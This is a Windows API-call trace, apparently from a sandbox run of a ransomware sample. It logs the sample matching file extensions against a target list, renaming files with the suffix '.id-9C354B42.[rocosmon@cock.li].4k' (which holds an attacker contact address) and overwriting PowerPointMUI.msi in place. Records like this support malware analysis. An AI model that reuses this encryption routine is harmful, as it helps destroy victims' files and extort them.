	[0088.227] lstrlenW (lpString=".ppt") returned 4
	[0088.227] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.227] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.227] lstrlenW (lpString=".zip") returned 4
	[0088.227] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.227] lstrlenW (lpString=".rar") returned 4
	[0088.227] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.227] lstrlenW (lpString=".bz2") returned 4
	[0088.228] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.228] lstrlenW (lpString=".7z") returned 3
	[0088.228] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.228] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.228] lstrlenW (lpString=".dbf") returned 4
	[0088.228] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.228] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.228] lstrlenW (lpString=".1cd") returned 4
	[0088.228] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.228] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.228] lstrlenW (lpString=".jpg") returned 4
	[0088.228] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.228] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.228] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.228] lstrlenW (lpString=".doc") returned 4
	[0088.228] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.228] lstrlenW (lpString=".docx") returned 5
	[0088.228] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.228] lstrlenW (lpString=".pdf") returned 4
	[0088.228] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.229] lstrlenW (lpString=".xls") returned 4
	[0088.229] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.229] lstrlenW (lpString=".xlsx") returned 5
	[0088.229] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.229] lstrlenW (lpString=".ppt") returned 4
	[0088.229] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.229] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.229] lstrlenW (lpString=".zip") returned 4
	[0088.229] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.229] lstrlenW (lpString=".rar") returned 4
	[0088.229] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.229] lstrlenW (lpString=".bz2") returned 4
	[0088.229] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.229] lstrlenW (lpString=".7z") returned 3
	[0088.229] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.229] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.229] lstrlenW (lpString=".dbf") returned 4
	[0088.229] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.229] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.229] lstrlenW (lpString=".1cd") returned 4
	[0088.229] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.230] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0088.230] lstrlenW (lpString=".jpg") returned 4
	[0088.230] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.230] lstrcmpiW (lpString1=".mui", lpString2=".4k") returned 1
	[0088.230] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0088.230] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.230] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=85056) returned 1
	[0088.230] CloseHandle (hObject=0x16c) returned 1
	[0088.230] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20
	[0088.230] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.230] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.231] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.231] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.231] lstrlenW (lpString=".doc") returned 4
	[0088.231] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.231] lstrlenW (lpString=".docx") returned 5
	[0088.231] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.231] lstrlenW (lpString=".pdf") returned 4
	[0088.231] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.231] lstrlenW (lpString=".xls") returned 4
	[0088.231] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.231] lstrlenW (lpString=".xlsx") returned 5
	[0088.231] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.231] lstrlenW (lpString=".ppt") returned 4
	[0088.231] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.231] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.231] lstrlenW (lpString=".zip") returned 4
	[0088.231] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.231] lstrlenW (lpString=".rar") returned 4
	[0088.231] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.231] lstrlenW (lpString=".bz2") returned 4
	[0088.231] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.231] lstrlenW (lpString=".7z") returned 3
	[0088.231] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.231] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.231] lstrlenW (lpString=".dbf") returned 4
	[0088.231] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.231] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.232] lstrlenW (lpString=".1cd") returned 4
	[0088.232] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.232] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.232] lstrlenW (lpString=".jpg") returned 4
	[0088.232] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.232] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.232] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.232] lstrlenW (lpString=".doc") returned 4
	[0088.232] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.232] lstrlenW (lpString=".docx") returned 5
	[0088.232] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.232] lstrlenW (lpString=".pdf") returned 4
	[0088.232] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.232] lstrlenW (lpString=".xls") returned 4
	[0088.232] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.232] lstrlenW (lpString=".xlsx") returned 5
	[0088.232] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.232] lstrlenW (lpString=".ppt") returned 4
	[0088.232] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.232] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.232] lstrlenW (lpString=".zip") returned 4
	[0088.232] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.232] lstrlenW (lpString=".rar") returned 4
	[0088.232] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.232] lstrlenW (lpString=".bz2") returned 4
	[0088.232] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.233] lstrlenW (lpString=".7z") returned 3
	[0088.233] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.233] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.233] lstrlenW (lpString=".dbf") returned 4
	[0088.233] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.233] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.233] lstrlenW (lpString=".1cd") returned 4
	[0088.233] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.233] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0088.233] lstrlenW (lpString=".jpg") returned 4
	[0088.233] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.233] lstrcmpiW (lpString1=".mui", lpString2=".4k") returned 1
	[0088.233] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0088.233] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.233] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=43600) returned 1
	[0088.233] CloseHandle (hObject=0x16c) returned 1
	[0088.234] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20
	[0088.234] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.234] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.234] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.234] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.235] lstrlenW (lpString=".doc") returned 4
	[0088.235] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.235] lstrlenW (lpString=".docx") returned 5
	[0088.235] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.235] lstrlenW (lpString=".pdf") returned 4
	[0088.235] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.235] lstrlenW (lpString=".xls") returned 4
	[0088.235] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.235] lstrlenW (lpString=".xlsx") returned 5
	[0088.235] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.235] lstrlenW (lpString=".ppt") returned 4
	[0088.235] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.235] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.235] lstrlenW (lpString=".zip") returned 4
	[0088.235] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.235] lstrlenW (lpString=".rar") returned 4
	[0088.235] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.235] lstrlenW (lpString=".bz2") returned 4
	[0088.235] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.235] lstrlenW (lpString=".7z") returned 3
	[0088.235] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.235] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.235] lstrlenW (lpString=".dbf") returned 4
	[0088.235] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.236] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.236] lstrlenW (lpString=".1cd") returned 4
	[0088.236] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.236] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.236] lstrlenW (lpString=".jpg") returned 4
	[0088.236] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.236] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.236] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.236] lstrlenW (lpString=".doc") returned 4
	[0088.236] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.236] lstrlenW (lpString=".docx") returned 5
	[0088.236] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.236] lstrlenW (lpString=".pdf") returned 4
	[0088.236] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.236] lstrlenW (lpString=".xls") returned 4
	[0088.236] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.236] lstrlenW (lpString=".xlsx") returned 5
	[0088.236] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.236] lstrlenW (lpString=".ppt") returned 4
	[0088.236] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.236] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.236] lstrlenW (lpString=".zip") returned 4
	[0088.236] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.236] lstrlenW (lpString=".rar") returned 4
	[0088.236] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.236] lstrlenW (lpString=".bz2") returned 4
	[0088.236] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.236] lstrlenW (lpString=".7z") returned 3
	[0088.237] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.237] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.237] lstrlenW (lpString=".dbf") returned 4
	[0088.237] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.237] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.237] lstrlenW (lpString=".1cd") returned 4
	[0088.237] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.237] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0088.237] lstrlenW (lpString=".jpg") returned 4
	[0088.237] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.237] lstrcmpiW (lpString1=".mui", lpString2=".4k") returned 1
	[0088.237] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0088.237] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.237] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=90192) returned 1
	[0088.237] CloseHandle (hObject=0x16c) returned 1
	[0088.237] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20
	[0088.237] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.237] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.238] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0088.238] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0088.238] lstrlenW (lpString=".doc") returned 4
	[0088.238] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.238] lstrlenW (lpString=".docx") returned 5
	[0088.238] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.238] lstrlenW (lpString=".pdf") returned 4
	[0088.238] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.238] lstrlenW (lpString=".xls") returned 4
	[0088.238] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.238] lstrlenW (lpString=".xlsx") returned 5
	[0088.238] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.238] lstrlenW (lpString=".ppt") returned 4
	[0088.238] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.238] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0088.238] lstrlenW (lpString=".zip") returned 4
	[0088.238] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.238] lstrlenW (lpString=".rar") returned 4
	[0088.238] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.238] lstrlenW (lpString=".bz2") returned 4
	[0088.238] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.238] lstrlenW (lpString=".7z") returned 3
	[0088.238] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.239] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0088.244] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0088.244] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0088.641] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0088.642] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0088.642] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0088.642] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0088.642] ReadFile (in: hFile=0x184, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0088.854] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0088.854] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.384] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.384] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0089.384] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.434] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.434] WriteFile (in: hFile=0x184, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc010e, lpOverlapped=0x0) returned 1
	[0089.866] SetEndOfFile (hFile=0x184) returned 1
	[0089.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3ed0290
	[0089.993] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0089.993] WriteFile (in: hFile=0x184, lpBuffer=0x3ed0290*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0290*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0089.996] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0089.996] WriteFile (in: hFile=0x184, lpBuffer=0x3ed0290*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0290*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0090.009] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0090.009] WriteFile (in: hFile=0x184, lpBuffer=0x3ed0290*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0290*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0090.013] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ed0290 | out: hHeap=0x4a0000) returned 1
	[0090.013] CloseHandle (hObject=0x184) returned 1
	[0090.439] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0090.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.440] lstrlenW (lpString=".doc") returned 4
	[0090.440] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0090.440] lstrlenW (lpString=".docx") returned 5
	[0090.440] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0090.440] lstrlenW (lpString=".pdf") returned 4
	[0090.440] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0090.440] lstrlenW (lpString=".xls") returned 4
	[0090.440] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0090.440] lstrlenW (lpString=".xlsx") returned 5
	[0090.440] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0090.440] lstrlenW (lpString=".ppt") returned 4
	[0090.440] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0090.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.440] lstrlenW (lpString=".zip") returned 4
	[0090.441] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0090.441] lstrlenW (lpString=".rar") returned 4
	[0090.441] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0090.441] lstrlenW (lpString=".bz2") returned 4
	[0090.441] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0090.441] lstrlenW (lpString=".7z") returned 3
	[0090.441] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0090.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.441] lstrlenW (lpString=".dbf") returned 4
	[0090.441] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0090.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.441] lstrlenW (lpString=".1cd") returned 4
	[0090.441] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0090.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.441] lstrlenW (lpString=".jpg") returned 4
	[0090.441] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0090.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.441] lstrlenW (lpString=".doc") returned 4
	[0090.441] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0090.441] lstrlenW (lpString=".docx") returned 5
	[0090.441] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0090.441] lstrlenW (lpString=".pdf") returned 4
	[0090.441] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0090.441] lstrlenW (lpString=".xls") returned 4
	[0090.441] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0090.441] lstrlenW (lpString=".xlsx") returned 5
	[0090.441] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0090.442] lstrlenW (lpString=".ppt") returned 4
	[0090.442] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0090.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.442] lstrlenW (lpString=".zip") returned 4
